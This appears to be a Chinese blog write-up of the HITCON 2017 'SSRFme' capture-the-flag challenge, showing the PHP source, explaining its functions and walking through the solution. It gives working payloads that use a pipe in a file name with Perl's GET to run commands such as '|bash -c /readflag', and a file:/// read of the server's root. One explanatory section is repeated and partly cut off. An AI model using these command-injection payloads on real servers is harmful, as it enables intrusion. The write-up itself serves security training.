[HITCON 2017]SSRFme 1

目录

  • 代码审计
    • [@ 符号](#@ 符号)
    • [shell_exec() 函数:](#shell_exec() 函数:)
    • [GET " . escapeshellarg(_GET\["url"\]):](#GET " . escapeshellarg(_GET["url"]):)
    • [pathinfo(_GET\["filename"\]](#pathinfo(_GET["filename"])
    • basename()
  • 题目解析

代码审计

php 复制代码
118.182.186.90
<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

输出ip地址

基于客户端IP地址和固定字符串 "orange" 计算得出的MD5哈希值作为目录名的文件夹,并将当前工作目录切换到这个新创建的目录中

@ 符号

用来抑制可能出现的PHP警告或错误,如果无法创建目录则不会抛出错误信息

shell_exec() 函数:

  • shell_exec() 是 PHP 中用于执行 shell 命令并返回输出结果的函数。

GET " . escapeshellarg($_GET["url"]):

GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。

pathinfo($_GET["filename"]

pathinfo() 函数:pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:

dirname:文件路径的目录部分。

basename:文件名和扩展名部分。

extension:文件的扩展名。

filename:文件名(不包括扩展名)

basename()

basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

thinfo($_GET["filename"]

pathinfo() 函数:

pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:

dirname:文件路径的目录部分。

basename:文件名和扩展名部分。

extension:文件的扩展名。

filename:文件名(不包括扩展名)

basename()

basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

题目解析

先读取一下根目录

text 复制代码
payload:?url=file:///&filename=a

再访问

text 复制代码
payload:sandbox/(orange加你的ip的md5值)/a

读了一下flag为空,存在readflag

通过GET特性,来运行readflag

需要先创建一个存在运行命令的文件名

text 复制代码
payload:?url=&filename=|bash -c /readflag

然后访问该文件的时候,会执行该命令,并将结果储存在abc中

text 复制代码
payload:?url=file:|bash -c /readflag&filename=abc

访问abc

text 复制代码
payload:sandbox/(orange加你的ip的md5值)/abc

得到flag

相关推荐
龙哥·三年风水4 小时前
群控系统服务端开发模式-应用开发-个人资料
分布式·php·群控系统
Dingww10118 小时前
梧桐数据库中的网络地址类型使用介绍分享
数据库·oracle·php
mingzhi619 小时前
渗透测试-快速获取目标中存在的漏洞(小白版)
安全·web安全·面试·职场和发展
Genius Kim11 小时前
SpringCloud Sentinel 服务治理详解
spring cloud·sentinel·php
安胜ANSCEN12 小时前
加固筑牢安全防线:多源威胁检测响应在企业网络安全运营中的核心作用
网络·安全·web安全·威胁检测·自动化响应
超栈14 小时前
蓝桥杯-网络安全比赛题目-遗漏的压缩包
前端·网络·sql·安全·web安全·职场和发展·蓝桥杯
黑龙江亿林等级保护测评15 小时前
DDOS防护介绍
网络·人工智能·安全·web安全·智能路由器·ddos
原机小子15 小时前
城镇保障性住房管理:SpringBoot系统解决方案
数据库·spring boot·php
kali-Myon16 小时前
NewStarCTF2024-Week5-Web&Misc-WP
前端·python·学习·mysql·web安全·php·web